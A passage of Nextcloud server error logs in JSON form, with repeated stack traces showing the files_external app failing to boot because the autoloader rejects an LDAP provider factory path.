entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"VVYfccdcjjfRXhDLzOKS","level":4,"time":"2022-11-09T12:56:12+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/apps/user_status/api/v1/statuses/chenghoufeng","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"YQipfwY8Y6GxcGDyO6vk","level":4,"time":"2022-11-09T12:56:12+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/avatar/chenghoufeng/64?v=0","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"D5ub31Y75IxnOiJiHiCJ","level":4,"time":"2022-11-09T12:56:12+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/apps/notifications/api/v2/notifications","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"f